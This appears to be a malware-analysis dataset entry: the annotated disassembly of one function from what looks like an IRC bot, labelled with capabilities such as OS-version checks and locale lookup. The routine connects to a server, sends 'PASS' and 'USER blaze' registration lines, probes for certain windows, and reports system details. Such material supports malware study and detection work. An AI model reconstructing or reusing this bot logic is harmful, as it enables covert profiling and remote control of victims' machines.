Function at 0x408d74
Capabilities:
Check os version
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f8
mov dword [ebp - 0x3f8], ecx
and dword [0x41cbfc], 0
mov eax, dword [ebp - 0x3f8]
movzx eax, byte [eax + 4]
test eax, eax
je 0x408da0
push 1
pop eax
jmp 0x4092f8
push 6
push 1
push 2
call dword [0x41cd48]
mov ecx, dword [ebp - 0x3f8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3f8]
cmp dword [eax], 0xffffffff
jne 0x408dc7
push 1
pop eax
jmp 0x4092f8
push dword [ebp + 8]
call dword [0x41cd4c]
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0
jne 0x408df5
mov eax, dword [ebp - 0x3f8]
push dword [eax]
call dword [0x41cd60]
push 1
pop eax
jmp 0x4092f8
push 4
mov eax, dword [ebp - 0x2ec]
mov eax, dword [eax + 0xc]
push dword [eax]
lea eax, [ebp - 0xc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call dword [0x41cce8]
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x3f8]
push dword [eax]
call dword [0x41cc98]
cmp eax, 0xffffffff
jne 0x408e50
mov eax, dword [ebp - 0x3f8]
push dword [eax]
call dword [0x41cd60]
push 1
pop eax
jmp 0x4092f8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41c874], eax
mov ecx, dword [ebp - 0x3f8]
call fcn.004088c9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41cfcc], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41c874], eax
mov eax, dword [ebp - 0x3f8]
mov byte [eax + 4], 1
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x3f4], eax
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x3f4]
mov dword [eax + 8], ecx
push dword [ebp + 0x10]
mov eax, dword [ebp - 0x3f8]
push dword [eax + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [ebp + 0x1c], 0
je 0x408ef6
push 0x41cc00
push dword [ebp + 0x1c]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x408ef6
push dword [ebp + 0x1c]
push str.PASS__s_r_n
mov eax, dword [ebp - 0x3f8]
push dword [eax]
push dword [ebp - 0x3f8]
call fcn.004085bf
add esp, 0x10
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp + 0x18]
mov dword [0x41c804], eax
push 0x12
push 0
push 0x41c84c
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0x4174dc
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x408f42
mov dword [ebp - 0x2e8], 1
push 0x4174f0
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x4174f4
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x408f6e
mov dword [ebp - 0x2e8], 1
push 0x41750c
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x417510
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x408f9a
mov dword [ebp - 0x2e8], 1
push 0x417524
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x417528
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x408fc6
mov dword [ebp - 0x2e8], 1
push 0x417548
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x41754c
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x408ff2
mov dword [ebp - 0x2e8], 1
push 0x41755c
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
cmp dword [ebp - 0x2e8], 0
je 0x40900c
push 0x417560
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x12
push 0
lea eax, [ebp - 0xe4]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov byte [ebp - 0xac], al
movzx eax, byte [ebp - 0xac]
push eax
push 0x417564
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0xe4]
push eax
push 0x41c84c
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push 0x41756c
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2f0], eax
push 0x12
push 0
push 0x41c860
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0xa4], 0x94
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x409199
cmp dword [ebp - 0xa0], 4
jne 0x4090f4
cmp dword [ebp - 0x9c], 0
jne 0x4090f4
cmp dword [ebp - 0x94], 1
jne 0x4090dc
mov dword [ebp - 0xa8], 0x417578
cmp dword [ebp - 0x94], 2
jne 0x4090ef
mov dword [ebp - 0xa8], 0x41757c
jmp 0x409197
cmp dword [ebp - 0xa0], 4
jne 0x409115
cmp dword [ebp - 0x9c], 0xa
jne 0x409115
mov dword [ebp - 0xa8], 0x417580
jmp 0x409197
cmp dword [ebp - 0xa0], 4
jne 0x409133
cmp dword [ebp - 0x9c], 0x5a
jne 0x409133
mov dword [ebp - 0xa8], 0x417584
jmp 0x409197
cmp dword [ebp - 0xa0], 5
jne 0x409151
cmp dword [ebp - 0x9c], 0
jne 0x409151
mov dword [ebp - 0xa8], 0x417588
jmp 0x409197
cmp dword [ebp - 0xa0], 5
jne 0x40916f
cmp dword [ebp - 0x9c], 1
jne 0x40916f
mov dword [ebp - 0xa8], 0x41758c
jmp 0x409197
cmp dword [ebp - 0xa0], 5
jne 0x40918d
cmp dword [ebp - 0x9c], 2
jne 0x40918d
mov dword [ebp - 0xa8], 0x417590
jmp 0x409197
mov dword [ebp - 0xa8], 0x417594
jmp 0x4091a3
mov dword [ebp - 0xa8], 0x41759c
push dword [ebp - 0xa8]
push 0x4175a4
push 0x41c860
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0xa
lea eax, [ebp - 0xb8]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
cmp dword [ebp - 0x2f0], 0xffffffff
jne 0x40926d
push 4
call fcn.004112fb
pop ecx
push eax
push dword [ebp + 0x18]
push 0x41c860
lea eax, [ebp - 0xb8]
push eax
push 0x41c84c
push str.iNF__s__s__s__s__s_n
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push str.nigzss.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0xffffffff
je 0x409249
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x41cbfc], 1
jmp 0x40929f
push 4
call fcn.004112fb
pop ecx
push eax
push dword [ebp + 0x18]
push 0x41c860
lea eax, [ebp - 0xb8]
push eax
push 0x41c84c
push str._s__s__s__s__s_n
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
push dword [ebp - 0x2f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2e4]
push eax
push 0x4175e0
mov eax, dword [ebp - 0x3f8]
push dword [eax]
push dword [ebp - 0x3f8]
call fcn.004085bf
add esp, 0x10
push dword [ebp + 0x18]
push str.USER_blaze__0_:_s_r_n
mov eax, dword [ebp - 0x3f8]
push dword [eax]
push dword [ebp - 0x3f8]
call fcn.004085bf
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x41c874], eax
xor eax, eax
leave
ret 0x18